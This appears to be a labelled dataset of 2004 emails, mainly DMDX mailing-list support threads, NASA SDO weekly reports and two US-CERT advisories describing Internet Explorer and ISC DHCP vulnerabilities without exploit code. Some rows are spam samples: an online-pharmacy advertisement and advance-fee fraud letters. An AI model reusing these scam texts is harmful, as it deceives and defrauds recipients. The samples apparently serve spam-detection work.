CAMPAIGN - AGAINST HTML MAIL / \\ The world's as ugly as sin, And almost as delightful - Frederick Locker-Lampson ",0,0 CERT Advisory ,cert-advisory@cert.org,"Fri, 11 Jun 2004 16:54:48 -0400",US-CERT Technical Cyber Security Alert TA04-163A -- Cross-Domain Redirect Vulnerability in Internet Explorer ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Technical Cyber Security Alert TA04-163A Cross-Domain Redirect Vulnerability in Internet Explorer Original release date: June 11, 2004 Last revised: -- Source: US-CERT Systems Affected Microsoft Windows systems Overview A cross-domain vulnerability in Internet Explorer (IE) could allow an attacker to execute arbitrary code with the privileges of the user running IE. I. Description There is a cross-domain vulnerability in the way IE determines the security zone of a browser frame that is opened in one domain then redirected by a web server to a different domain. A complex set of conditions is involved, including a delayed HTTP response (3xx status code) to change the content of the frame to the new domain. Vulnerability Note VU#713878 describes this vulnerability in more technical detail and will be updated as further information becomes available. Other programs that host the WebBrowser ActiveX control or use the MSHTML rendering engine, such as Outlook and Outlook Express, may also be affected. This issue has been assigned CVE CAN-2004-0549. II. Impact By convincing a victim to view an HTML document (web page, HTML email), an attacker could execute script in a different security domain than the one containing the attacker's document. By causing script to be run in the Local Machine Zone, the attacker could execute arbitrary code with the privileges of the user running IE. Publicly available exploit code exists for this vulnerability, and US-CERT has monitored incident reports that indicate that this vulnerability is being actively exploited. III. Solution Until a complete solution is available from Microsoft, consider the following workarounds. Disable Active scripting and ActiveX controls Disabling Active scripting and ActiveX controls in the Internet Zone (or any zone used by an attacker) appears to prevent exploitation of this vulnerability. Disabling Active scripting and ActiveX controls in the Local Machine Zone will prevent widely used payload delivery techniques from functioning. Instructions for disabling Active scripting in the Internet Zone can be found in the Malicious Web Scripts FAQ. See Microsoft Knowledge Base Article 833633 for information about securing the Local Machine Zone. Also, Service Pack 2 for Windows XP (currently at RC1) includes these and other security enhancements for IE. Do not follow unsolicited links Do not click on unsolicited URLs received in email, instant messages, web forums, or internet relay chat (IRC) channels. While this is generally good security practice, following this behavior will not prevent exploitation of this vulnerability in all cases. Maintain updated anti-virus software Anti-virus software with updated virus definitions may identify and prevent some exploit attempts. Variations of exploits or attack vectors may not be detected. Do not rely solely on anti-virus software to defend against this vulnerability. More information about viruses and anti-virus vendors is available on the US-CERT Computer Virus Resources page. Appendix B. References * Vulnerability Note VU#713878- * Malicious Web Scripts FAQ - * Computer Virus Resources - * CVE CAN-2004-0549 - * Microsoft Knowledge Base Article 833633 - * Windows XP Service Pack 2 RC1 - * Increase Your Browsing and E-Mail Safety - * Working with Internet Explorer 6 Security Settings - _________________________________________________________________ Public incidents related to this vulnerability were reported by Rafel Ivgi. Thanks to Jelmer for further research and analysis. _________________________________________________________________ Feedback can be directed to the author: Art Manion. Send mail to . Please include the Subject line ""TA04-163A Feedback VU#713878"". _________________________________________________________________ Copyright 2004 Carnegie Mellon University. Terms of use: _________________________________________________________________ The most recent version of this document can be found at: _________________________________________________________________ Revision History June 11, 2004: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQFAyhdcXlvNRxAkFWARAt2eAKCRDeqWLNgG+xXJtd0PyRGeN+S69ACfcXoi GDMew8rDUjleel9OLMqs9W4= =ZAyn -----END PGP SIGNATURE-----",0,1 Shu-Ju Chi ,DMDX@psy1.psych.arizona.edu,"Mon, 14 Jun 2004 09:33:03 -0400",[DMDX] DmDX problem with Chinese Window XP,"Hi, I wonder if anyone had ever encountered below problem when running DmDX program on a Chinese Window XP system. (I am going to run an Self-paced Reading experiment in Taiwan.) DmDX version: 3.0.3.1 system: Chinese Window XP Professional edition Experiment: Self-Paced Reading The control line: Problem: At first, there was an error ""Could not find register key "" I timed 600x480 first and then 1024x768 in TimeDX and saved both values. Then the above error disappeared. However, when I did run the program,it flashed through very fast without pause for response. I would really appreciate any help to solve this problem. Thanks! Shu-ju Chi",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 14 Jun 2004 08:39:37 -0700",[DMDX] Re: DmDX problem with Chinese Window XP,"It's probably a problem with your item's structure, you'll have to post a couple of them so we can see what you're doing. Beyond that you're probably going to have to be mapping a request and or positive response key as DMDX isn't likely to know the name of your keyboard's keys -- that or use the #keyboard device that knows keys by their numerical ids and works for all nationalities. At 09:33 AM 6/14/2004 -0400, you wrote: >Hi, I wonder if anyone had ever encountered below problem when running >DmDX program on a Chinese Window XP system. (I am going to run an >Self-paced Reading experiment in Taiwan.) > >DmDX version: 3.0.3.1 >system: Chinese Window XP Professional edition >Experiment: Self-Paced Reading >The control line: > 640 480 480 8 0> > >Problem: > >At first, there was an error ""Could not find register key >"" > >I timed 600x480 first and then 1024x768 in TimeDX and saved both values. >Then the above error disappeared. > >However, when I did run the program,it flashed through very fast without >pause for response. > > >I would really appreciate any help to solve this problem. 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""*; 800 /; 0 “請按空白鍵開始顯示下一個句子”, “並按右邊的SHIFT鍵繼續顯示下一個字""; +201 “接 下 來 的 * * * * * * * * * * “ *; +202 “* * * * 討 論 * * * * * * * *”* ; +203 “* * * * * * 很 快 * * * * * *”* ; +204 “* * * * * * * * 變 得 * * * *”* ; +205 “* * * * * * * * * * 索 然 無 味 “ *; +299 %50/""本句子是否合理且可以接受? ""*; 800 /; As for the keyboard device ID, I used for my last experiment in Taiwan(sentence-matching) and it worked fine with Chinese Window 2000. Please let me know if you have any idea. In the meantime, I will try if I can find out the device ID, or the numerical IDs for the keys on a Chinese keyboard. Thanks! Shu-ju ----- Original Message ----- From: ""j.c.f."" Date: Monday, June 14, 2004 11:39 am Subject: [DMDX] Re: DmDX problem with Chinese Window XP > > It's probably a problem with your item's structure, you'll have > to post > a couple of them so we can see what you're doing. Beyond that > you're > probably going to have to be mapping a request and or positive > response key > as DMDX isn't likely to know the name of your keyboard's keys -- > that or > use the #keyboard device that knows keys by their numerical ids > and works > for all nationalities. > > At 09:33 AM 6/14/2004 -0400, you wrote: > >Hi, I wonder if anyone had ever encountered below problem when > running > >DmDX program on a Chinese Window XP system. (I am going to run an > >Self-paced Reading experiment in Taiwan.) > > > >DmDX version: 3.0.3.1 > >system: Chinese Window XP Professional edition > >Experiment: Self-Paced Reading > >The control line: > > ""鍵盤""> >640 480 480 8 0> > > > >Problem: > > > >At first, there was an error ""Could not find register key > >"" > > > >I timed 600x480 first and then 1024x768 in TimeDX and saved both > values. > >Then the above error disappeared. > > > >However, when I did run the program,it flashed through very fast > without > >pause for response. > > > > > >I would really appreciate any help to solve this problem. Thanks! > > > >Shu-ju Chi > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Shortcuts that seem obvious in the middle of a job don't work. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 14 Jun 2004 20:26:02 -0700",[DMDX] Re: DmDX problem with Chinese Window XP,"At 10:15 PM 6/14/2004 -0400, you wrote: >Please let me know if you have any idea. In the meantime, I will try if I >can find out the device ID, or the numerical IDs for the keys on a Chinese >keyboard. Yeah, as near as I can tell you have to map a key to the positive response with . Using will yield the same results as long as you're using the shift keys for responses. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Shortcuts that seem obvious in the middle of a job don't work.",0,0 Jaime Stanley ,robin@calmail-cr.berkeley.edu,"Tue, 15 Jun 2004 23:35:51 -0800",Don't expose your intimate life,"Suffering from pain, depression or heartburn? We'll help you! http://ewihbn.amberbird.info/?kqwahlvzjzpv All verified dr@gs collected at one LICENSED online store! Great choice of= wonderful meds to give you long-awaited relief! Operative support, fast shipping, secure p@yment processing and complete c= onfidentiality! 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I have followed up a couple of ideas from the archive, including the idea that it could be caused by an error in the parameters, but without any success. I wonder if the problem might reside in Word rather than in DMDX. Every time I save my file in Wordpad, it emerges as a Word document (Office XP). If so, might there be a work-around that I could use, without the $ delimiters. Anyone had a similar experience and know of a solution? Kevin Glover University of Essex, UK Department of Language and Linguistics --------------------------------- ALL-NEW Yahoo! Messenger - sooooo many all-new ways to express yourself ",0,0 Kenneth Forster ,DMDX@psy1.psych.arizona.edu,"Fri, 18 Jun 2004 09:31:10 -0700",[DMDX] RE: $ Delimiters,"Kevin, I've not seen ""missing line number"" as an error. Are you sure it's not ""missing item number""? One possibility is that if you like to prefix item numbers with leading zeroes (e.g., +001) then mistyping ""0"" as ""O"" (e.g., +O01) will produce this error, except that the diagnostic refers to the item before. So check the item that occurs immediately after that. Your comment about .rtf files emerging as .doc files doesn't make a lot of sense. Perhaps you are saving the .rtf file in the wrong directory. --k.i.f. I need to delimit my instructions, to facilitate scrambling. I have tried the $ delimiters in both positions shown in all the tutorials (between lines and at the beginning and end of lines). But the syntax checker keeps reporting ""missing line number"", ie the $ symbol is 'blocking' the line number somehow. I have followed up a couple of ideas from the archive, including the idea that it could be caused by an error in the parameters, but without any success. I wonder if the problem might reside in Word rather than in DMDX. Every time I save my file in Wordpad, it emerges as a Word document (Office XP). If so, might there be a work-around that I could use, without the $ delimiters. Anyone had a similar experience and know of a solution? Kevin Glover University of Essex, UK Department of Language and Linguistics _____ ALL-NEW Yahoo! Messenger - sooooo many all-new ways to express yourself",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 18 Jun 2004 11:12:03 -0700",[DMDX] Re: $ Delimiters,"At 09:03 PM 6/17/2004 +0100, you wrote: >I have made very good progress with DMDX (and I really appreciate all the >effort that has gone into it developing and maintaining it), only to have >a problem with something that should be routine. > >I need to delimit my instructions, to facilitate scrambling. I have tried >the $ delimiters in both positions shown in all the tutorials (between >lines and at the beginning and end of lines). But the syntax checker keeps >reporting ""missing line number"", ie the $ symbol is 'blocking' the line >number somehow. I have followed up a couple of ideas from the archive, >including the idea that it could be caused by an error in the parameters, >but without any success. This usually occurs because someone was using scrambling in an item file and later on builds a new item file out of the old one and no longer uses scrambling. The dollar symbols get left behind because scramble is no longer removing them and do exactly what you describe. You however want scrambling so the logical inference is that you have not included any scrambling parameters so scrambling isn't taking place so the dollar symbols are left to cause syntax errors. You need an S parameter. >I wonder if the problem might reside in Word rather than in DMDX. Every >time I save my file in Wordpad, it emerges as a Word document (Office XP). >If so, might there be a work-around that I could use, without the $ delimiters. That's just the icon. When Office installs it declares .RTF files to be it's own so the OS uses the Office icon. In the explorer use Tools / Folder Options / View and un-check Hide Extensions for Known File Types. Then you can see what a file's extension really is instead of only what the OS thinks is good for you like some damned macintosh. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ To every rule there is an exception, and vice versa. ",0,0 Philip Scherrer ,hmi_local--AT--quake.Stanford.EDU,"Fri, 18 Jun 2004 16:54:44 -0700",SDO Weekly Report,"Subject: SDO Weekly Report for June 18, 2004 Resent-Date: Fri, 18 Jun 2004 15:30:17 -0700 Resent-From: Philip Scherrer Resent-To: scherrer--AT--quake.Stanford.EDU Date: Fri, 18 Jun 2004 12:45:55 -0400 From: Elizabeth A. Citrin SDO Weekly Report for June 18, 2004 SDO Project Management’s focus is on making sure that the critical activities that need to be accomplished during this phase leading up to CDR are understood, that adequate resources are available, and that the management processes are in place to support these activities efficiently. Schedule tracking, earned value metrics, monthly reporting, configuration management, risk management, and identification of critical subsystem and element CDR milestones have all been topics of discussion, and efforts are underway to further define these areas and improve the supporting processes. The SDO Weekly Systems meeting was devoted to a presentation covering an overview of the SDO project Configuration Management (CM) and Work Order Authorization (WOA) approach and process. This overview covered all aspects of the CM process and was intended to provide guidance, and solicit comments to improve the process, as we move into detailed design and test activities. The Monthly Systems Engineering Risk validation Board Meeting was held, and the agenda was limited to only new risks and green risks. This allowed time for the review of all green risks. SDO’s MIS personnel have begun discussing system requirements with Indus personnel. SDO has tasked Indus, through the Code 296 BASE Contract, to take over responsibility for the MIS system and the enhancements required to implement the Work Order and Problem Reporting functions. SDN Breadboards for Flight Software and ACE have been completed with 512kB SRAM. Two 2 mB SRAM proto-parts were received from 3DPLUS this week. These parts will be put on the GCE 1 and EVE SDN Breadboards, which have been fully assembled and were awaiting this part. Evaluation of the SBC proposals is on-going. Proposal evaluation for the HGAS Gimbal Actuator will start next week. RFIs were released for the Ka Band SSPA and the ACS IRU. SDO Project personnel visited ConTech and Hypertronics to discuss qualification and delivery cPCI connectors for SDO. The meeting was very productive. The Materials Assurance Engineer (MAE) met with the Ka-Band transmitter development team. To better measure heat generated by the power amplifier chip he will be providing IR Thermography support to characterize the thermal profile of this critical chip in the electronic box. The MAE is also assisting Ka-Band development personnel in the preparation and submittal of several adhesives for outgassing testing. MIT Lincoln Labs delivered and tested an alternative device (also known as electrical test unit) CCD to EVE at LASP on Monday. Testing went very well and demonstrated very low noise characteristics of the CCD and set-up. In July, MIT LL will deliver a test CCD that uses the candidate Lessor process treatment. A molecular transport model for EVE is nearing completion. The model will further define contamination requirements for EVE. The Spacecraft Simulator hardware will ship this week to EVE. The hardware was due to ship last week, but a last minute problem delayed the shipment (this was incorrectly reported as accomplished last week). The SSIM support team will visit EVE next week for installation and check-out of the simulator. The SDO/EVE ICD revision 6 is under short review for baselining in a CCB on Monday. The HMI team is preparing for the Michelson Interferometer CDR to be held on June 22. On Wednesday, June 23, HMI will have their Monthly Status Review with the project via telecon. HMI has requested to raise the radiators to increase focal length and is working with SDO thermal, mechanical, and ACS groups to accommodate the increase in height. HMI has started running the SUROM on the processor board. Four flight batches of CCDs are now in process at e2v. LMSAL and SDO have extended the AIA Phase A/B contract until July 31; effort continues to get the C/D/E contract in place. SAO has completed their ball joint testing and is evaluating the effects on the leg designs; a LMSAL review is scheduled for next week. AIA continues to review their power estimates and expect to report the results in about one week's time and hold a thermal peer review in July. Internal reviews of the ISS limb tracker board and the SUROM code and requirements documents were completed; software peer reviews will continue until acceptance testing in July. The EDU RAD6000 processor board is nearly complete; the test fixture has been sent to BAE and testing is expected to start next week. The ground system received the results of the April 21-22 Ground System PDR from Code 300 this week. In summary, the ground system was given an ""excellent"" rating by the Chair of the Code 300 Review Panel with a total of only 23 RFAs being accepted. The MOMS contract was successfully modified this week and a draft NENS contract modification, also with HTSI, was also completed. Testing continues on the first of two Data Distribution System (DDS) Front End Processors (FEPs). Substantial progress continues on all document and CCB activity. -- Liz Citrin SDO Project Manager --",0,0 KEVIN GLOVER ,DMDX@psy1.psych.arizona.edu,"Sat, 19 Jun 2004 06:20:01 +0100",[DMDX] Re: $ Delimiters,"My thanks to Jonathan and to Mike Ford - to both for the solution to my problem, and in Jonathan's case for an uncannily accurate diagnosis of how it had arisen. Apologies to Kenneth - I should have written ""missing item number"", and I did not mean that the .rtf became a .doc file, what happened was exactly what Jonathan describes. Kevin ""Jonathan C. Forster"" wrote: >I need to delimit my instructions, to facilitate scrambling. I have tried >the $ delimiters in both positions shown in all the tutorials (between >lines and at the beginning and end of lines). But the syntax checker keeps >reporting ""missing line number"", ie the $ symbol is 'blocking' the line >number somehow. I have followed up a couple of ideas from the archive, >including the idea that it could be caused by an error in the parameters, >but without any success. This usually occurs because someone was using scrambling in an item file and later on builds a new item file out of the old one and no longer uses scrambling. The dollar symbols get left behind because scramble is no longer removing them and do exactly what you describe. You however want scrambling so the logical inference is that you have not included any scrambling parameters so scrambling isn't taking place so the dollar symbols are left to cause syntax errors. You need an S parameter. >I wonder if the problem might reside in Word rather than in DMDX. Every >time I save my file in Wordpad, it emerges as a Word document (Office XP) That's just the icon. When Office installs it declares .RTF files to be it's own so the OS uses the Office icon. In the explorer use Tools / Folder Options / View and un-check Hide Extensions for Known File Types. Then you can see what a file's extension really is instead of only what the OS thinks is good for you like some damned macintosh. --------------------------------- ALL-NEW Yahoo! Messenger - sooooo many all-new ways to express yourself",0,0 joseph tanko ,XXX@XXXXXXXX.XXXXXXX.XXX,"Sun, 20 Jun 2004 09:39:12 +0100",URGENT REPLY,"From: Dr Joseph Tanko. , #6 Church Road, Independence Avenue, Jo' burg, South Africa. With due respect and regards. I am the chairman of a prime bank here in South Africa and personal account officer to late ENGR.AUTHOR WOODROW. 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Then, as the item file is run, I would like to be able to display, for example, icon. In effect, I would like to assign random numbers to each counter with some constraints, and then use each as a pointer to a graphic. Is there any way of doing this with DMDX? My inclination at the moment is that there is not, but I would appreciate any advice or confirmation of this! Thanks, Stuart.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 21 Jun 2004 08:30:28 -0700",[DMDX] Re: Pointers to graphics,"At 11:50 AM 6/21/2004 +0100, you wrote: >Hi folks, > >I'm trying to put together a slightly unusual item file, and was wondering >whether anyone has done something similar in the past. > >I have a set of graphics, called icon1, icon2, ... icon20. Each time the >script is called, I would like to randomly set each of counter1 through >counter12 to an integer between 1 and 20, with each counter taking a >different value. Then, as the item file is run, I would like to be able to >display, for example, icon. > >In effect, I would like to assign random numbers to each counter with some >constraints, and then use each as a pointer to a graphic. > >Is there any way of doing this with DMDX? My inclination at the moment is >that there is not, but I would appreciate any advice or confirmation of this! You can use the indexed branching to do what you need. If you want to combine the graphic with others but don't want to duplicate the items you can use the indexed branch to set a macro to the graphic name you want in a set of indexed branch destinations and then use macro in one item later. If item numbers 1..20 are too limited for item numbers in an indexed branch set another counter to some base item number and add you index to it before branching on the sum. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Shortcuts that seem obvious in the middle of a job don't work.",0,0 Stuart Bell ,DMDX@psy1.psych.arizona.edu,"Mon, 21 Jun 2004 17:34:49 +0100",[DMDX] Re: Pointers to graphics,"> You can use the indexed branching to do what you need. Marvellous -- thanks very much for the info! I'll go away and do a bit of reading up on this and macros in DMDX... Thanks again! Stuart. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 21 Jun 2004 11:12:57 -0700",[DMDX] Re: Pointers to graphics,"At 05:34 PM 6/21/2004 +0100, you wrote: >> You can use the indexed branching to do what you need. > >Marvellous -- thanks very much for the info! I'll go away and do a bit of >reading up on this and macros in DMDX... As a rough idea I was thinking something along the lines of this: f25 0 ""Instructions"" ; 1 mm+""icon1""+ ; 2 mm+""icon2""+ ; ... 20 mm+""icon20""+ ; 1000 ; 1001 ~m *; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Two men look out through the same bars; one sees mud, and one the stars.",0,0 jpaugh@advancedclustering.com,XXX@XXXXXXXX.XXXXXXX.XXX,"Tue, 22 Jun 2004 13:43:53 -0500",Advanced Clustering Can Help Drive Your Research,"Dr. Phillips, I want to introduce our company, Advanced Clustering Technologies, to you. We design and deliver high performance computing solutions (Beowulf clusters) that are being used in areas such as bio-informatics applications (Institute for Systems Biology and Washington University - St. Louis ), visualization (Purdue University and Indiana University), weather prediction (SAIC, NOAA), and improving lithium battery performance (Argonne National Laboratory). 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It may be possible to exploit these vulnerabilities to execute arbitrary code on the system. I. Description As described in RFC 2131, ""the Dynamic Host Configuration Protocol (DHCP) provides a framework for passing configuration information to hosts on a TCP/IP network."" The Internet Systems Consortium's (ISC) Dynamic Host Configuration Protocol (DHCP) 3 application contains two vulnerabilities that present several potential buffer overflow conditions. VU#317350 discusses a buffer overflow vulnerability in the temporary storage of log lines. In transactions, ISC DHCPD logs every DHCP packet along with several pieces of descriptive information. The client's DISCOVER and the resulting OFFER, REQUEST, ACK, and NAKs are all logged. In all of these messages, if the client supplied a hostname, then it is also included in the logged line. As part of the DHCP datagram format, a client may specify multiple hostname options, up to 255 bytes per option. These options are concatenated by the server. If the hostname and options contain only ASCII characters, then the string will pass non-ASCII character filters and be temporarily stored in 1024 byte fixed-length buffers on the stack. If a client supplies enough hostname options, it is possible to overflow the fixed-length buffer. VU#654390 discusses C include files for systems that do not support the bounds checking vsnprintf() function. These files define the bounds checking vsnprintf() to the non-bounds checking vsprintf() function. Since vsprintf() is a function that does not check bounds, the size is discarded, creating the potential for a buffer overflow when client data is supplied. Note that the vsnprintf() statements are defined after the vulnerable code that is discussed in VU#317350. Since the preconditions for this vulnerability are similar to those required to exploit VU#317350, these buffer overflow conditions occur sequentially in the code after the buffer overflow vulnerability discussed in VU#317350, and these issues were discovered and resolved at the same time, there is no known exploit path to exploit these buffer overflow conditions caused by VU#654390. Note that VU#654390 was discovered and exploitable once VU#317350 was resolved. For both of the vulnerabilities, only ISC DHCP 3.0.1rc12 and ISC DHCP 3.0.1rc13 are believed to be vulnerable. VU#317350 is exploitable for all operating systems and configurations. VU#654390 is only defined for the following operating systems: * AIX * AlphaOS * Cygwin32 * HP-UX * Irix * Linux * NextStep * SCO * SunOS 4 * SunOS 5.5 * Ultrix All versions of ISC DCHP 3, including all snapshots, betas, and release candidates, contain the flawed code. However, versions other than ISC DHCP 3.0.1rc12 and ISC DHCP 3.0.1rc13 discard all but the last hostname option provided by the client, so it is not believed that these versions are exploitable. US-CERT is tracking these issues as VU#317350, which has been assigned CVE CAN-2004-0460, and VU#654390, which has been assigned CVE CAN-2004-0461. II. Impact Exploitation of these vulnerabilities may cause a denial-of-service condition to the DHCP daemon (DHCPD) and may permit a remote attacker to execute arbitrary code on the system with the privileges of the DHCPD process, typically root. III. Solution Apply patches or upgrade These issues have been resolved in ISC DHCP 3.0.1rc14. Your vendor may provide specific patches or updates. For vendor-specific information, please see your vendor's site, or look for your vendor infomation in VU#317350 and VU#654390. As vendors report new information to US-CERT, we will update the vulnerability notes. Appendix B. References * http://www.isc.org/sw/dhcp/ * http://www.kb.cert.org/vuls/id/317350 * http://www.kb.cert.org/vuls/id/654390 _________________________________________________________________ US-CERT thanks Gregory Duchemin and Solar Designer for discovering, reporting, and resolving this vulnerability. Thanks also to David Hankins of ISC for notifying us of this vulnerability and the technical information provided to create this document. _________________________________________________________________ Feedback can be directed to the author: Jason A. Rafail _________________________________________________________________ The latest version of this document can be found at: _________________________________________________________________ Copyright 2004 Carnegie Mellon University. Terms of use: _________________________________________________________________ Revision History June 22, 2004: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQFA2HFSXlvNRxAkFWARArH4AKDtUECQTE5HXmvsDQkwcWn9r7uAowCdGTHq AqWt3CgdEPJcIFDbJlIWQHo= =HSxN -----END PGP SIGNATURE-----",0,1 Stuart Bell ,DMDX@psy1.psych.arizona.edu,"Thu, 24 Jun 2004 17:44:00 +0100",[DMDX] Flicker between bitmaps and digital video,"Hi folks, Back in January of last year Rua Haszard Morris sent a message to the list reporting a blank screen between successively-displayed bitmaps and digital video. I notice that similar issues have been discussed subsequently, and appreciate that video and still images are drawn rather differently by DMDX's display routines. However, has anyone found a reliable way to display video after bitmaps without the screen clearing between the two, please? It may be that this isn't possible due to the way that the video is displayed. As an example, with a delay parameter set to zero, the following simple script: 1 ""image1""; 2 ! ""video.avi""; 3 ! ""image2""; ... still gives rise to a noticeable flicker between each item, even with an uncompressed avi, which is undesirable in many experimental situations. For example, I want participants to respond to bitmap displays, after which one of two videos play, depending on their response. The bitmap is identical to the first frame in both videos, so giving the impression of a continuous video, pausing in places, but which evolves with participants' responses. Rua advises me that he ended up using PsyScript in order to put together a similar experiment, and whilst this doesn't apparently give the same flicker, I trust DMDX, and would prefer to use it if at all possible. Does anyone have any relevant advice regarding this issue, please? Thanks! Stuart.",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 24 Jun 2004 10:27:59 -0700",[DMDX] Re: Flicker between bitmaps and digital video,"It won't happen till some pretty serious code gets re-written in DMDX. At 05:44 PM 6/24/2004 +0100, you wrote: >Hi folks, > >Back in January of last year Rua Haszard Morris sent a message to the >list reporting a blank screen between successively-displayed bitmaps and >digital video. I notice that similar issues have been discussed >subsequently, and appreciate that video and still images are drawn >rather differently by DMDX's display routines. > >However, has anyone found a reliable way to display video after bitmaps >without the screen clearing between the two, please? It may be that this >isn't possible due to the way that the video is displayed. As an >example, with a delay parameter set to zero, the following simple script: > >1 ""image1""; >2 ! ""video.avi""; >3 ! ""image2""; > >.. still gives rise to a noticeable flicker between each item, even >with an uncompressed avi, which is undesirable in many experimental >situations. > >For example, I want participants to respond to bitmap displays, after >which one of two videos play, depending on their response. The bitmap is >identical to the first frame in both videos, so giving the impression of a >continuous video, pausing in places, but which evolves with participants' >responses. Rua advises me that he ended up using PsyScript in order to put >together a similar experiment, and whilst this doesn't apparently give the >same flicker, I trust DMDX, and would prefer to use it if at all possible. >Does anyone have any relevant advice regarding this issue, please? > >Thanks! >Stuart. > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are three kinds of lies; lies, damned lies, and statistics. - Mark Twain Mark Twain's Autobiography",0,1 Andy ,DMDX@psy1.psych.arizona.edu,"Thu, 24 Jun 2004 18:47:12 +0100",[DMDX] RE: Re: Flicker between bitmaps and digital video,"A pretty labour intensive way of getting around your problem is to let DMDX display your video a rapid series of images (as in, you would have to use a program, perhaps adobe premiere, to extract the frames of your video, and save them as individual images, and let DMDX display these images). If you are showing pretty small videos, it might be worth the effort. Andy. -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Jonathan C. Forster Sent: 24 June 2004 18:28 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Flicker between bitmaps and digital video It won't happen till some pretty serious code gets re-written in DMDX. At 05:44 PM 6/24/2004 +0100, you wrote: >Hi folks, > >Back in January of last year Rua Haszard Morris sent a message to the >list reporting a blank screen between successively-displayed bitmaps and >digital video. I notice that similar issues have been discussed >subsequently, and appreciate that video and still images are drawn >rather differently by DMDX's display routines. > >However, has anyone found a reliable way to display video after bitmaps >without the screen clearing between the two, please? It may be that this >isn't possible due to the way that the video is displayed. As an >example, with a delay parameter set to zero, the following simple script: > >1 ""image1""; >2 ! ""video.avi""; >3 ! ""image2""; > >.. still gives rise to a noticeable flicker between each item, even >with an uncompressed avi, which is undesirable in many experimental >situations. > >For example, I want participants to respond to bitmap displays, after >which one of two videos play, depending on their response. The bitmap is >identical to the first frame in both videos, so giving the impression of a >continuous video, pausing in places, but which evolves with participants' >responses. Rua advises me that he ended up using PsyScript in order to put >together a similar experiment, and whilst this doesn't apparently give the >same flicker, I trust DMDX, and would prefer to use it if at all possible. >Does anyone have any relevant advice regarding this issue, please? > >Thanks! >Stuart. > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are three kinds of lies; lies, damned lies, and statistics. - Mark Twain Mark Twain's Autobiography ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. 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YOURS TRULY, MR.COLLINS KOJO _________________________________________________________________ STOP MORE SPAM with the new MSN 8 and get 2 months FREE* XXXX://join.msn.com/?page=features/junkmail ",1,0 Stuart Bell ,DMDX@psy1.psych.arizona.edu,"Fri, 25 Jun 2004 11:20:35 +0100",[DMDX] RE: Re: Flicker between bitmaps and digital video,"Andy said the following: > A pretty labour intensive way of getting around your problem is to let > DMDX display your video a rapid series of images This is rather cunning Andy -- thanks for that suggestion. After a little bit of playing around, I think this is going to be the way to go. Problem solved! Thanks also to Jonathan for the update -- it's good to have the option to display digital video, and in the meantime this is a good work-round for experiments like the one I'm designing. Stuart. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 25 Jun 2004 08:49:58 -0700",[DMDX] RE: Re: Flicker between bitmaps and digital video,"At 11:20 AM 6/25/2004 +0100, you wrote: >Andy said the following: >>A pretty labour intensive way of getting around your problem is to let >>DMDX display your video a rapid series of images > >This is rather cunning Andy -- thanks for that suggestion. After a little >bit of playing around, I think this is going to be the way to go. Problem >solved! > >Thanks also to Jonathan for the update -- it's good to have the option to >display digital video, and in the meantime this is a good work-round for >experiments like the one I'm designing. Yeah, the problem centers around the fact that video is rendered in a completely different fashion (namely real time) so DMDX has to shift gears just before the video is rendered and it has to make sure that none of the previous display buffers come back to haunt the rendered video -- and the easiest way to do that is to just blit black everywhere. To fix it DMDX would have to start figuring out what was on the screen, where the video is going to be rendered and a bunch of other messy stuff. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Stability itself is nothing else than a more sluggish motion. ",0,0 Philip Scherrer ,hmi_local--AT--quake.Stanford.EDU,"Fri, 25 Jun 2004 13:39:39 -0700","(Fwd) [Fwd: SDO Weekly Report for June 25, 2004]","Subject: SDO Weekly Report for June 25, 2004 Resent-Date: Fri, 25 Jun 2004 13:28:49 -0700 Resent-From: Philip Scherrer Date: Fri, 25 Jun 2004 12:24:56 -0400 From: Elizabeth A. Citrin SDO Weekly Report for June 25, 2004 The Project continues to have trouble pushing its GSFC procurements through the system. Although it was reported at MSR that the RFI for the star trackers had been released, this report was premature. This RFI has still not been released. The Project had been planning to use the Code 500 Procurement Office for the four Attitude Control System (ACS) component procurements, but it is not clear now whether adequate personnel will be available to support this. An SDO Project Calendar will be available on the 